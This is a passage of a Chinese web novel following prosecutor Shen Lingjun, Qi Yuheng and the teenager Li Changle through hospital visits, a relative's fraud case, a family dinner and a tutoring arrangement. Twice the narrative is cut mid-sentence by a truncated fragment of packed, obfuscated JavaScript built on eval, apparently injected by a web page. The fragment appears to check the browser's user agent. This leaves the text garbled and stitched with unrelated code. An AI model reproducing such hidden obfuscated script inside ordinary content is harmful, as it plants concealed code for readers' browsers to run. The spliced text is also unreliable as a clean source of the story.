李长乐想了想,才点了点头:“谢谢戚哥。” 到底是未成年的小孩子,他眼神里控制不住地流露出了一点期待:“真的什么款式都能做吗?” 戚玉衡斩钉截铁地道:“什么样式都能做。你千万不要小瞧我!” 两个人又聊了一会,李长乐的精力终于耗尽,戚玉衡让他躺下他就躺下了,几乎在一分钟内就睡熟了。 第二天一早七点多,何秀红就来了医院,但戚玉衡却没走。今天医生给王晖安排了颅脑CT外加下肢彩超等好几项检查,何秀红不识字,戚玉衡怕她找不到做检查的位置,便想陪着王晖检查完再走。 八点半的时候,邹雅雯估计是一觉醒来看到了他的微信,给他回了消息,让他今天在他方便的时候给她打电话。 戚玉衡看到消息后就到楼梯间给邹雅雯打了电话,邹雅雯很快就接了起来:“戚先生?” “对,邹律,是我。我昨天有点事,晚上十二点才看到您的消息,不好意思啊。” “没事的,”邹雅雯很快切入正题:“我昨天下午去见了王先生。和他沟通了一下,他说警方说的情况都是属实的,没有添油加醋。在金额方面,王先生虽然没法准确说出他诈骗的金额总数,但他说至少也有六百万了,和警方说的数额差不多。” 戚玉衡对这个结果虽说早有预设,但还是忍不住心底发凉。 “王先生说,他的诈骗所得大部分都被他用来网络赌博了,警方没追回多少。” 戚玉衡呆呆地重复道:“网络赌博?” “对。王先生说,他是在两年前接触到网络赌博的,一开始只是小赌,但后来控制不住地越赌越大,他输光了积蓄,又遭到了公司裁员,失去了收入来源。他太想要钱了,所以最终决定去诈骗,组建了一个以他为核心的诈骗团伙。” “因为大部分赃款都被他用去赌了,所以警方追回的钱并不多,按照王先生的说法,不会超过五十万,”邹雅雯顿了一下,给了戚玉衡充分的缓冲时间,才继续说道:“戚先生,家属这边,很难填补上这个数额缺口吧。” “……对。” “退赔数额少,想必很难得到被害人的谅解。王先生在他们这个诈骗团伙里又是主犯,所以现在他的量刑情况……不太乐观。以我的经验来说,低于十二年的可能性不大。还有,王先生也让我给你们家属带了话,他说,他很后悔,但是后悔也已经没有用了,父母不用再管他了,也不用为他花钱请律师,让一切顺其自然,他认罪认罚,希望父母能把养老钱好好用在自己身上。” 戚玉衡沉默了一会,道:“好……麻烦邹律了,之后我们这边如果再有会见或者代理的需求,我会第一时间联系您的。” “可以,您随时联系我,”邹雅雯语气很是真诚:“王先生的说法和警方的说法是能对得上的,他诈骗数额巨大、是主犯,也承认自己的罪行。警方存在违规操作的可能性不大。在退赔情况不佳的情况下,侦查阶段我们律师能起到的作用确实有限。但当然了,当案子进展到起诉阶段时,请律师和检察官交换量刑建议,确保量刑适当,我觉得还是有必要的。” “还有就是,王先生的情绪还是很稳定的,心态也很平稳,没有很焦虑,家属在外面不要太担心。”何秀红跟邹雅雯签委托书的时候情绪崩溃,一直在哭,邹雅雯估计是想起了这件事才会这么说。 戚玉衡向邹雅雯道了声谢,回 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戚玉衡摇摇头:“何姨,情况不大一样的。我那个时候,给被害人家属们出欠条,也不是为了他们的谅解书……他们谅不谅解对我爸的量刑都没什么影响。但是子睿哥的这件事不一样,被害人的谅解书很重要,但是想让他们出谅解书,我们得给出能让他们谅解的钱……需要退赔的数额不是十万、不是一百万,而是几百万!我们根本给不出来。而且……” 戚玉衡停了一下,才继续道:“何姨,当年我给家属们出欠条的时候,我才十八岁,年富力强,再加上当时有唐检察官和程警官给我做见证人,家属们相信我以后能还得上钱。但是……叔叔现在基本上可以说是丧失劳动能力了,阿姨你也已经六十岁了,我们拿什么让被害人相信我们能还得上钱?那是几百万啊。” 何秀红六神无主地说:“那我们难道就什么都……什么都不做了吗?” 戚玉衡喉结滚了滚,道:“对不起,阿姨。在钱上面,我也帮不上太多忙……这个口子真的太大了。我觉得……阿姨,先就这样吧。现在,我觉得最重要的事是你和叔叔要放平心态、好好保重身体,这样等子睿哥改造出来之后,一家人还能团圆。” 何秀红默然半晌,最终红着眼点了点头:“小戚,你说得对。他做错了事,骗了人家那么多钱,他还不上,最终也只是让他多坐几年牢,他不冤枉。是他活该。” 两个人在走廊里沉默相对了一会,才回到病房。两人前脚刚进病房,后脚病房的门就再次被打开了,一个陌生的女人走了进来,朝着李长乐喊了声:“乐乐……” 李长乐站了起来,表情有些惊诧:“你怎么来了?” 这女人脸上带着笑:“你昨天不是说爷爷奶奶在这里住院吗?我就起了个大早,坐第一班火车来了,来看看爷爷奶奶,也看看你。” 看到这女人的第一眼,戚玉衡就感觉她和李长乐之间有血缘关系——她长了一张和李长乐如出一辙的圆脸,两人的眉眼也很相似。 以她的年纪,是李长乐的姑姑、姨妈吗?还是……妈妈? 女人坐在了李斌病床的床边,小声和坐在凳子上的李长乐说话,两个人说话的声音很小,戚玉衡这种半聋一个字都听不到。 过了一会,两人就不再说话了,也不知道她跟李长乐说了什么,李长乐脸上的表情一下子变得很难看。随后,女人又凑到李长乐身边说了句话,听完这句话,李长乐猛地站起身,神情变得愈加阴沉,语气不是很好地说:“我们去外面说吧。” 两个人正往病房门口走的时候,两手提着满满当当东西的沈灵均走了进来。 沈灵均的目光落在那女人面上,有些诧异地道:“你是……嫂……杜姐?你什么时候来的?” 被称为杜姐的女人脸上浮出个笑:“是,是。我是杜旭菲。我也是刚到。没想到您还记得我,小……沈先生啊,我……” 李长乐拉住她的手,打断了她的话:“我们出去说。” 自称为杜旭菲的女人被他拉得往前趔趄一步,但脸还是固执地朝着沈灵均的方向:“沈先生,我今天……” 李长乐朝她吼道:“我都说了我们出去说!” 说完,他就揽住女人,挤开沈灵均,半推半抱地把人带出去了。沈灵均本想跟出去看看,但被李长乐一句“我们两个单独说两句”顶了回来。 16.第 16 章 晚上从医院回来后,沈灵均失眠了。他在床上翻来覆去地滚到了凌晨两点,随后找了两粒褪黑素吃了,最终在三点左右才入睡。说不清是从什么时候开始,他开始频繁地失眠,睡眠质量也不太好。而尽管前一晚三点才睡,第二天又是周末,沈灵均可以睡到自然醒,但他还是在八点钟就醒了。 一觉睡醒之后,不仅没有觉得舒服,反而觉得更疲惫了。 沈灵均在床上醒了会神,拿过枕边的手机。他妈徐锦英女士在半个小时前给他发了消息,问他今晚有没有空回来吃饭。 沈灵均回了句有空。徐锦英很快就回了他一条语音:“今天周末,你怎么起这么早啊?” “可能是因为生物钟吧,自然醒了。” “你想吃什么?我叫你王姨给你弄。” “没什么特别想吃的。” “行吧,那我就叫王姨随便弄咯。” “嗯嗯。” 回复完徐锦英后,沈灵均洗漱一番,先去楼下快递驿站取了快递——他买了个可折叠带万向轮的小桌子,准备拿到医院给李长乐。这样李长乐不仅吃饭能方便些,学习写字也不用再趴在床上。随后他去了家附近的大型超市。他给李长乐买了些零食,又买了些水果,水果他买了不少,打算到时候给戚玉衡和张桂英一些——虽然张桂英和他闹了点小不愉快,但李长乐死活不愿意换特需病房,和她打好关系还是很有必要的。 随后,他又去营养品专区买了一些老年营养品。他打算去看看乔瑜的爷爷奶奶。 昨天在医院看到乔瑜时,他是非常意外的。不仅仅意外于乔瑜出现在医院这件事,还意外于乔瑜言行举止的风格和他所熟知的乔瑜完全不同。 在余绵绵与乔瑜恋爱前,沈灵均对乔瑜这个人算不上了解,只是因为工作的缘故与他接触过几次。在那时沈灵均眼中,乔瑜沉默寡言,性格稳重,是个很“酷”的人。后来他和余绵绵谈了恋爱,他以一种崭新的形象存在于余绵绵的口中、朋友圈里,沈灵均也对乔瑜这个人多了几分了解。 他不善言辞,不会说好听的话,但是为人很体贴,很会制造惊喜,意外地是个很浪漫的人;正直善良、嫉恶如仇,是个很靠谱的人,很勇敢,执行任务遇到危险也毫不退缩;他很孝顺,两个人一起出门旅游,他总是惦记着给他爷爷奶奶买东西。 沈灵均完全没想到,他会在医院这个场合见到乔瑜咄咄逼人的一面。他言语激烈,刻薄到有些让人讨厌。 戚玉衡离开后,乔瑜跟他打了招呼,两人交谈间,沈灵均得知乔瑜的爷爷因为冠心病住了院。他试探性地问了问乔瑜他与戚玉衡争执——或者说乔瑜单方面的发火——的原因,乔瑜只说他们两人有些过节。乔瑜摆明了不想多说,沈灵均也不好再往下问。 尽管沈灵均和戚玉衡相识才没多久,但沈灵均的所见所闻都在向他证明,戚玉衡是个非常温柔、非常善良的人。看戚玉衡昨天的表现,他在面对乔瑜时处于明显的弱势,一副逆来顺受的模样。沈灵均是真的想不通,戚玉衡到底做了什么事,把乔瑜得罪成那个样子?看当时那个场面,他们两人之间的事不像是“过节”两个字可以说得清的,简直像是有着什么深仇大恨。 买好东西后,沈灵均赶往医院。 到了医院,沈灵均先去了811病房,打算先把给李长乐以及同房病友买的东西放下。他刚进门,就迎面撞上了杜菲。 但他还没来得及和杜菲说上话,李长乐就拖着杜菲走了。沈灵均在病房里等了李长乐十几分钟,李长乐都没回来,沈灵均于是去了807。 乔瑜这会没在病房,病房里只有乔瑜的爷爷乔国正和奶奶徐莲。沈灵均昨天刚来过,徐莲看到他有些惊讶,在得知他的来意之后,更是连连推拒着沈灵均手里的东西,在沈灵均劝了几次后才勉为其难地收下。 乔国正躺在病床上道:“沈检,你怎么来了呢?你今天不上班吗?” 徐莲轻轻点了点他的肩膀:“日子又过糊涂了?今天是周日,沈检不上班,”徐莲看向沈灵均:“人老了,脑子不好使,日子总是过得糊里糊涂的。” 沈灵均笑道:“爷爷今天感觉怎么样?” “我挺好的……嗐,好不好的,就那么回事吧,我都八十五了,黄土都埋到脖子了,哪天死了都不奇怪!” 徐莲皱着眉拍了他一下:“说什么呢?会不会好好说话!” 乔国正哼了一声:“我又没说错!我都这个岁数了!只要看见小瑜结婚,让我立刻闭眼都没问题!我现在唯一的念想,就是盼着小瑜结婚,盼着他能给我们乔家留个后!这样我到下面去,也能跟怀兴和巧薇有个交代!对了,沈检,我听小瑜说,他那个对象,绵绵,是你们单位的?是你下属?” 徐莲又推了乔国正一把:“你当着沈检的面说这些干什么?真对不起啊沈检,我家这老头本来脾气就怪,这回进了医院之后就更怪了。” “没什么的奶奶。乔瑜他女朋友余绵绵确实是我办公室的,是个好姑娘,”沈灵均看了看乔国正又看了看徐莲:“怀兴和巧薇是……” 听到他的问题,乔国正叹了口气,徐莲的嘴角立刻撇了下来,表情黯淡:“怀兴是我儿子,是我俩唯一的孩子。巧薇是我儿媳……两个人都不在了。” 昨天在病房里发现只有乔瑜一个孙子和徐莲一起陪护的时候,沈灵均心里就隐隐有了猜测,但他没想到事实比他想象的还遭一些。沈灵均连忙道歉道:“对不住,提到爷爷奶奶的伤心事了。” 乔国正摆了摆手:“哪用沈检你道歉,是我主动提的嘛!” 尽管乔国正说了不在意,但沈灵均自觉气氛还是一下子沉重许多,于是在简单寒暄了几句后便告辞了。 再回到811时,李长乐已经回来了,他沉着脸,心情肉眼可见的差。沈灵均凑过去小声问他道:“你妈妈回去了?” 李长乐点点头。 “怎么没多留她一下?你们难得见一面,我还想三个人一起吃个饭的。” “在医院有什么好吃的?在病床旁边一起吃外卖吗?还是去楼下吃难吃的不得了的食堂?” “可以让你小戚叔叔帮忙盯一会的,爷爷这会又没有在输液。” “怎么好意思麻烦人家?我这两天已经麻烦他帮过不少忙了。而且我也不想和她吃饭,”李长乐握住了李斌的手,不去看沈灵均:“你明天就要上班了,别在医院消耗你宝贵的休息时间了,我不需要你陪我。” 沈灵均知道李长乐说的是真的,他留在这只会让李长乐不自在。于是他也不再多说:“水果、零食,你记得吃,好好吃饭、好好睡觉,”沈灵均说到这,想了想,还是决定补上一句李长乐这个年纪的孩子可能不爱听的话:“有余力的话,兼顾一下学业,和同学保持沟通,了解一下课堂的进度。我可以帮你去学校取作业。钱不够了随时跟我说。” “我知道了。你走吧。” 沈灵均坐进车里后,在车里发了会呆。在他刚想开车走人的时候,一只手伸过来敲了敲他的车窗。沈灵均扭头看去,发现敲窗的人是陈彦博。 “老铁,你在这干嘛呢?” 陈彦博今天穿了件黑色的夹克外套,里面搭了一件黑底带白花的衬衫。这一套陈彦博风格的穿搭是少见的沈灵均可以欣赏的穿搭,于是他由衷地道:“你今天这身不错啊。” 陈彦博得瑟地拎起衬衫的领子:“好看吧,我在一家古着店花一百二淘的。你怎么在这啊?” “一言难尽啊。你今天白班?白班这个点才下班?” “对,”陈彦博打了个哈欠,拉开了副驾驶的车门:“白班的最后时刻涌入了一波患者,吃饭了没?没吃就一块吃。” “你指的是早饭还是午饭?” “我指的是Brunch。” 沈灵均笑了,把车子点着:“吃什么去?” “我同事之前给我推荐了一家铜锅涮肉,去吃这个吧。” “谁家好人Brunch吃铜锅涮肉啊?” “那你说个地儿。” “……就吃铜锅涮肉吧。” 从医院开出来后,陈彦博道:“所以呢?你怎么来这了?一言难尽,那你两言一下。” “长乐爷爷奶奶现在都在你们院住院呢。” “啊?”陈彦博本来都把座椅放倒了躺着了,这会直起身:“什么毛病啊?” “爷爷是肺部炎症,奶奶是脑梗,现在还在ICU,医生说栓塞面积很大,取栓之后情况还不容乐观,脑水肿,左脑已经肿到压迫右脑了。” “那后续可能还要开颅?这就算挺过来了,老太太估计也得瘫床上了啊。李长乐一个小孩,还是高三小孩,怎么照顾家里两个瘫痪的老人啊?” “肯定没办法照顾啊,我之后打算给他们请保姆。” “那李长乐现在也在医院呢?” “嗯……我本来想让他明天就回学校上课,被他拒绝了。我其实说完这个话立刻就后悔了,他爷爷奶奶是这个状态,他怎么可能安心复课?换谁谁都不行。我当时着急了。因为他接到他奶奶住院这个消息之后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……行,这事我不跟你掰扯了,就算你说得对。但人得有自知之明吧。李长乐也快十八了吧?马上快成年的人了,心里得有点数了吧?这些年,你、你们一家为他们家做了多少?当年出事之后,你妈立刻掏了一百五十万给他们家,一口气掏的。十四年前的一百五十万啊。十四年前西城区的房子均价也才一万二一平,现在西城区房子多少钱一平?” 陈彦博持续输出:“是,我知道,金钱这种冰冷的东西无法完全弥补老人失去孩子、孩子失去父亲的痛苦,但它无法治愈精神上的创伤,却能避免物质上的创伤啊。十四年前,李长乐一家一年能有三万可支配收入没有?远远没有吧。你们一次性给了他们一家超过他们家五十年总收入的补偿。已经很够意思了。” “结果呢?钱都被他们家糟蹋了。你又费了老鼻子劲、千辛万苦地把两个老的一个小的整到容州来,买房、迁学籍……他们家那些极品我都不愿意多提。提了就他妈只能骂脏话,就该全部枪毙!要不是你,李长乐还有那老两口现在还在安门老家被他叔叔拿皮带抽呢!现在他们一家三个都靠你们家养着,李长乐只要脑筋正常,就不应该对你一副你欠我八百万的态度,我也不要求他对你感恩戴德,做到最起码的礼貌得体,很难吗?” “要我说,这孩子学习不好,可能是因为他是真的有点笨。换做是我,怎么可能对你使性子,我只会捧着你,紧紧抱着你这条金大腿。把你哄高兴,后半辈子的荣华富贵都唾手可得了。他到底明不明白,他们一家人的前途和命运,都是捏在你手心里的。但凡你是个没良心的,哪会在意他们一家人的死活?他倒是真不担心你会突然翻脸不认人。” 陈彦博越说越生气:“我到现在都记得,他刚来容州的时候,你带着他来看房子,我当时因为我们之间深厚的父子之情、我舐犊情深,我老黄牛一样帮着你一块给那个房子搞装修,他臭着一张脸,对我们俩爱答不理的。光针对你也就算了,对我也鼻子不是鼻子眼睛不是眼睛的。哈,我想起来就生气,这小孩就是不识好歹、挟恩图报……” 沈灵均忍不住为李长乐说话:“他一个青春期小孩,从小没父母疼的,哪会想得那么深,什么什么抱大腿的,怎么就笨了?他们三口人都很节俭,拼命给我省钱,一年都花不了几个钱……下去!” 陈彦博瞪大眼睛:“好啊,说他一句你就不乐意听,这都不叫溺爱什么叫溺爱?你还敢让我滚!” 沈灵均十分无语:“谁叫你滚了?铜锅涮肉吃不吃了?到了!” 17.第 17 章 吃上了铜锅涮肉,陈彦博的心情舒畅不少,不再在李长乐的问题上怼沈灵均了。 沈灵均问:“你这周去相亲了吗?” “去了啊。” “怎么样?” “能怎么样?没成呗……但我可没故意消极怠慢人家啊,是人家没看上我。得亏是这样,不然我妈还得念叨我呢。” “她为什么没看上你啊?”沈灵均有点惊讶:“她条件是有多好啊?” 陈彦博是燕大的八年制临床专业毕业的,博士学历,现在是容州人民医院急诊科的副主任医师,父母都是医生,都已经退休,家庭条件不错。陈彦博现在虽然是在租房住,但是在买房上并没有什么压力。而陈彦博长得不说有多么帅,但绝对是中等偏上的长相,再加上他一八二的身高、有特地保持的身材,让他的外貌条件足以承受住他别具一格的审美的摧残。 沈灵均觉得,以陈彦博的条件,在相亲市场上怎么说也算是个优质男,没想到第一次相亲就折戟沉沙。 “她条件确实挺好的,容州大学的本科,墨尔本大学的硕士,现在在国……中……我忘了名字,反正她在一个投行做股权承做。她长得还蛮漂亮的,又高又瘦又白,父母是做钢窗生意的,家境也比我家好。” “那条件确实挺不错。她没看上你哪点啊。” 陈彦博想了想:“……挣得少吧。” “你挣得还少?你一个月税后能有三万大多吧,比我多挣一万多呢。” “但应该没她多。虽然我不懂啊,但一听她那个工作,我就觉得她收入挺高。她听我说完工资之后挺惊讶的,说以为我这种三甲的副主任能挣挺多呢……她说的倒也没错,心外神外这种科室的确挣得比我多不少。再加上可能没什么眼缘?她这个条件,眼光高点也不奇怪。” 沈灵均夹了片肉:“怎么,觉得选错科了?” “那倒没有,”陈彦博喝了口水:“急诊累还挣得少,这个我一直都知道啊。但我就是喜欢急诊的挑战性,也在这个地方获得了很多成就感,有失有得嘛。你难不成是看重检察院每个月那点工资才去做检察官的?” 沈灵均慢慢咀嚼着嘴里的食物,没答话。 过了一会,沈灵均又问:“如果有一天你不做医生了,你会去做什么?” “不考虑经济因素?” “不考虑。” “那我不工作。有钱了谁还工作?” 沈灵均点点头:“也是。” 陈彦博随即夸张地捂住嘴:“天啊哥哥,我刚才是不是内涵到你了。我不是故意的啊,哥哥。” “你可敬的父亲原谅你了。快吃吧。这两盘都是你点的,你必须给我解决。” 吃过饭,沈灵均把陈彦博送回家后便回了家。听到他进门的声音,他爸沈霞举从二楼坐着电梯下了楼:“来得这么早?我还以为你会晚一点回来。你妈去公司了。” “我去了一趟医院……就是彦博工作的医院。正好遇上彦博,我们一起吃了个饭,然后我就直接过来了。” “你去医院干什么?病了?” 沈灵均简单地将李长乐爷爷奶奶的情况说了,沈霞举听完,叹了口气:“长乐这孩子,也是真的命苦。这段时间你得多多关心他。” 沈灵均点点头。父子俩说了一会话后,沈霞举指挥沈灵均道:“我腿在二楼呢,刚才我下来的时候没拿。你去给我取下来,咱爷俩去外面走走去。” 沈灵均于是到沈霞举书房把沈霞举的腿——他的两个假肢,拿了下来。沈霞举每天都会穿上假肢锻炼一会。沈霞举是双腿高位截肢,刚穿上假肢的时候怎么也走不稳。但是这些年练下来,沈霞举早已熟能生巧,虽然不能跑动,但在短时间内,他的走路速度已几乎与普通人无异,穿上长裤,没人能发现他是个残疾人。 “你最近工作忙吗?”沈霞举问。 “还可以,需要加班的情况少。” “晚上和周末大概率是没事的喽?” 沈灵均眯了眯眼睛:“什么意思?” 想起陈彦博的经历,沈灵均道:“你们不会要给我安排相亲吧?” “差不多吧。你妈妈说,前段时间她和恒美生物的孟总一块吃饭,对方说,想让你和他小女儿见个面。” 恒美生物和芝玉已经合作多年,是芝玉重要的上游供应商之一,沈灵均经常从徐锦英嘴里听到它的名字,他也见过这位孟总两次。他在脑中回忆了一番,有些不确定地道:“我记得,我妈几年前跟我提到孟总女儿的时候,说她还在上初中,是那个女孩吗?” “是。” “……她才多大?成年了吗?” “马上满十九了。” 沈灵均皱起眉:“马上满十九,现在不就只有十八岁?我都快三十四了,要是在古代,我这个年纪当她爹都足够了!孟总他脑子没事吧?我要是同意了,我成什么人了?我可没有那么龌龊!” 沈霞举忍不住笑了:“有你说得那么夸张吗?男未婚女未嫁的,在法律上,和十四岁以上的女孩交往就不犯法吧。人家小姑娘都成年了。” “是不犯法,但我过不去内心的那道坎。我妈没昏了头直接同意吧?” “没有。她说要先问问你的意见。我当时就说你不可能同意,但你妈还抱着点希望,说万一呢。果然,你不同意吧。今天饭桌上她估计就要提这件事,你不愿意,拒绝就好了,她不会逼你的。更何况,逼你你也不会同意。” “我妈当时就应该直接拒绝的。” 沈霞举拍了拍沈灵均的胳膊:“你也别怪你妈。她只是最近突然……年龄焦虑了。” “怎么,突然意识到我已经三十多了?” 沈霞举摇摇头:“是突然意识到自己六十多了。” 沈灵均闻言,下意识地看向沈霞举。沈霞举轻声道:“上周,你妈连着好几天早上起床的时候觉得头疼,于是就去医院检查了。” 沈灵均皱起眉:“怎么回事?你们怎么没跟我说?” “不是什么大毛病,去医院一查,医生说是高血压。你妈也是六十三的人了,这个年纪,得高血压太正常了,日常吃药就好了,”沈霞举笑了笑:“但你也知道,你妈这个人身体一向很好。她又热爱运动,无论什么时候都精力充沛,总是觉得自己还年轻……这件事对于她来说是个打击吧。让她年龄焦虑了。感觉自己老了。” “她就开始瞎担心,担心我们两个走了之后你一个人孤单……所以她有点焦虑你的个人问题。但就算她焦虑,她也没有干涉你意愿的意思。你放心,这件事交给我,我保证,我一定在最短时间内让她重新恢复平常心。还有,一会饭桌上,你不要表现得像是早就知道她生病、以及她会给你介绍对象的样子啊,她很要面子的。” “明白。” 晚饭时,徐锦英果然说了孟总女儿的事,问沈灵均愿意不愿意见她一面。 “她叫孟子萱,”徐锦英拿出手机给沈灵均看她的照片:“长得很漂亮的。她会跳芭蕾,会打高尔夫,会说英语和法语两种外语。你看看,这张照片她笑得多甜啊,还有两个小酒窝。哦对,她还会弹钢琴,以后你们俩在一起,你拉小提琴,她弹钢琴,这不就是琴瑟和鸣吗?多好。” 沈灵均敷衍地看了一眼:“妈,你要给我介绍对象也给我介绍个年龄相近的,我比人家大多少呢?” “你看着和她差不多年纪的!” 这句话给沈灵均逗笑了:“你真是我亲妈啊。你也太爱你儿子了,可以有滤镜但不可以这么厚啊。我明显和人家小姑娘两个年龄段的……都不提年纪的问题了,我记得这小姑娘初中高中都读的国际学校吧,她是不是要出国留学啊?” “对。” “那总不能因为要和我相亲、恋爱,就不读书了吧?我们难不成谈异国恋?等她大学毕业,我都快四十了。” 徐锦英有些不自在地清了下嗓子:“孟总跟我说……萱萱她对读书其实也没多大兴趣,要是你们真在一起了,萱萱留在国内也没问题,学历的事之后再想办法。” 沈灵均有些无语:“妈,孟总想要商业联姻的心思也实在太迫切、太不加遮掩了。搞得我都对他有点偏见了。换做是你,我还不到十九,你能把我介绍给三十四的老女人当男朋友吗?” 沈灵均一下子把徐锦英给问沉默了。但徐锦英本来也没对沈灵均同意去见孟子萱这事抱太多希望,也没强求:“行吧行吧,不去就不去。这不是人家孟总提了,我也不好意思拒绝,才回来问问你的嘛。找对象还得是宁缺毋滥,好饭不怕晚。” 徐锦英扒拉了两口饭了,又道:“我也可以给你介绍年龄相近的女孩子嘛,你妈我有人脉的!你说,你想找什么样的,”她抬起一只手,截断了沈灵均的退路:“妈也不是现在就要给你介绍,我就是先帮你关注一下,你也不用跟我说什么现在没有恋爱的心思。” 沈霞举这时给沈灵均使了个眼色,沈灵均于是道:“就……至少年龄要差不多吧。这种十几岁的绝对不行!” “行行,我知道了。还有呢?长相上的要求?我记得你那个前任,就那个……小邱,小邱是那种御姐型的女孩对吧?前前任……那个……姓什么来着?” “……姓田。” “对对,她是人如其姓,圆脸,长得甜甜的。你更喜欢哪种?” “没什么偏好。好看自然好,不好看也没什么。” 徐锦英撇撇嘴:“行行行,你不挑外貌,反正红颜最后全是白骨是吧?你特殊,你清高……那性格方面的要求呢?” “只要脾气不是特别暴躁、情绪不是特别不稳定都好,但三观要正。” 徐锦英有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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【长乐常乐:前几天他有带饭过来,我觉得闻起来很香,看上去也很好吃,我就把这些感受说出来了……结果第二天戚哥就给我带饭了。我有拒绝过,但他还是会给我带饭,我也有说要给钱,但他说什么也不要钱】 【长乐常乐:他和何阿姨这些天帮了我很多忙,我都不知道该怎么还他们人情】 沈灵均连忙回道: 【Shen:你年纪还小,不用考虑这么多。我来想办法。】 李长乐之后没有再回复他。 这天晚上,沈灵均到达811的时候,811内很是安静,戚玉衡和李长乐一人一个凳子,背对着他坐在李斌床边。张桂芝和何秀红则各自玩着各自的手机。四位陪护人的精神都相当集中,没人发现他来了。沈灵均走近了几步,发现李斌的病床边铺着一张卷子,看那上面的图,这应该是张物理卷子,戚玉衡正拿着支笔在卷子上勾勾画画,似乎是在给李长乐讲题。 沈灵均静静地看了一会,才轻声道:“小戚,长乐。” 李长乐回头看了他一眼,没说什么。戚玉衡则立刻站起身:“沈检,你来啦。” “嗯,一周不见了。你们吃过饭了?” 看两人都点头,沈灵均便向戚玉衡道谢:“长乐跟我说了,最近几天都是你给他带的饭,你还没要他的钱。真是麻烦你了。” 戚玉衡摇摇头:“一点也不麻烦,本来我也是要给我和叔叔阿姨做饭的,只不过是顺带多做出一点长乐的份量。这怎么能收钱呢,更何况,”戚玉衡似乎到现在还不是很习惯与他长时间对视,他微微偏开头:“沈检之前还帮了我很多忙。” 沈灵均几乎觉得羞愧了:他绞尽脑汁,也没想出他到底帮了戚玉衡什么忙——帮他介绍位靠谱的律师或许算一个吧,但那对于他而言不过是顺手而为,邹雅雯也不是没收律师费。 “这是哪里话。你刚才是在给长乐讲题吗?” 戚玉衡脸上有些不好意思:“对……有几道长乐不会的题我刚好会。” 李长乐这时开口道:“不是的,才不是什么我不会的题他会,戚哥是所有的题都会。不光是物理,数学、化学,戚哥都特别厉害!” 几人正说着话,护士推着手推车走了进来。沈灵均看她似乎是要把治疗车停到李斌病床床尾,于是他便往前迈了两步,想给她让位置。戚玉衡本也想顺势往后退,但他忘了他身后就是坐着的李长乐,他只退了半步,腿就被李长乐的身体和他坐的凳子挡住了,上半身往后一倒—— 沈灵均连忙伸手去扶他,但戚玉衡很快就自己稳住了重心,慢慢站直了身体。 “抱歉……” 沈灵均说完这两个字就卡了壳,由于他和李长乐直接把戚玉衡直接夹在了中间,他现在和戚玉衡之间的距离远远小于社交距离,两个人的身体紧紧贴在了一起,因为身高相仿,戚玉衡那张阴柔漂亮的脸就距他不到十五公分。 18.第 18 章 虽然早就知道戚玉衡长得好,但近距离看美的东西,是会产生很大的视觉冲击力的。沈灵均本能地呼吸一窒,随后,他就下意识地关注起戚玉衡的皮肤状况来——谁让他有一个做化妆品生意的妈呢? 即使是从这么近的距离看,戚玉衡皮肤上的瑕疵也几不可见,没有任何斑点、痘印和色素暗沉。如果硬要吹毛求疵,那应该就是皮肤过于干燥了。想来是因为天生肤质如此,戚玉衡又不怎么注重保养,导致他的额头和颧骨有一点起皮。 即使双方都是同性,这个距离也有些过于近了,两个人的身体都碰在了一起。沈灵均连忙往旁边跨了一步:“抱歉,我没提醒你就往前走了。” 戚玉衡道:“没有没有,不是你的问题,是我忘了我身后还有长乐。” 等护士给李斌输完液,沈灵均接着刚才的话题问道:“你给长乐补课多久了?今天是第一天吗?” “谈不上补课,我就是给他讲几道我会的题。” 李长乐在一旁道:“戚哥连着三天给我补课了。” “又给他带饭、又给他补课,这段时间真是麻烦你了,”沈灵均心里冒出来一个想法:“方便问一下吗?你最近晚上有时间吗?” 戚玉衡表情微愣:“晚上?有啊,因为我叔叔现在情况已经稳定了下来,晚上不再需要输液了,我晚上不用守夜了。” 沈灵均笑了:“我说的晚上并没有那么晚。我是指晚上八点到十一点的时间段,你有没有时间。” 戚玉衡有些不明所以:“有的。” “那,我可不可以拜托你给长乐补课?长乐这段时间想在医院陪他爷爷奶奶,我能理解他的心情,”沈灵均看向李长乐:“但我确实也担心他的学习,怕他落下太多课。你能不能帮他补课呢?是长期性的补课,不局限于长乐待在医院的这段时间。” “长乐在医院的时候,你看着给他补。等长乐爷爷奶奶出院,长乐回家,你一周给他补四天,可以吗?长乐的晚自习本来是到九点,但是三晚就是纯自习课了,他不上也没什么问题。晚上八点半到十一点半。” 这话一出,戚玉衡和李长乐都愣住了。而李长乐没有在第一时间提出反对——从高一的时候开始,李长乐的数学和物化成绩就不好,沈灵均跟他提过好几次想给他请家教补课,但是都被李长乐坚定地拒绝了。李长乐一反常态的没有立刻反对,让沈灵均觉得这事有戏。 这段时间,戚玉衡和何秀红帮了李长乐不少,该如何回报他们,沈灵均本也有些困扰,如今倒是有了一个绝佳的方式。 “当然,是付钱的。每次三个小时,一次……六百?日结,每次上完课让长乐直接给你钱。” 沈灵均的余光瞄到李长乐张开了嘴,但他嘴唇开合几次,最终什么都没说。 戚玉衡像是被这个数额吓到了,连连摆手:“不不不不不,不行,我给长乐补课其实就是顺便的事,只是长乐问我的题我恰巧都会做而已,之后我也可以继续给他讲,不费时间、不用给钱的……” 沈灵均坚持道:“我可是想让你给他讲三个小时,这可不是顺便能顺便出来的时间。我不能让你白白浪费掉三个小时啊,时间就是金钱啊,老话都说了,”沈灵均笑了笑:“你不知道,我之前也想过给长乐找家教,但长乐可能是怕生,一直不同意我找,但这次,我看他跟你相处得挺好的,所以,如果你能给他当家教,真就是帮了我大忙了。能让我省很多心。” 沈灵均看向李长乐:“长乐,让小戚叔叔给你当家教,你觉得怎么样?” 李长乐看了看戚玉衡,又看了看沈灵均,最后道:“戚哥很耐心,简单的题,他能讲得很容易懂,难一些的题,他也总能找到我能理解的切入点,即使他讲了好几遍我还是不会,他也不会生气……他讲课,我很愿意听。” 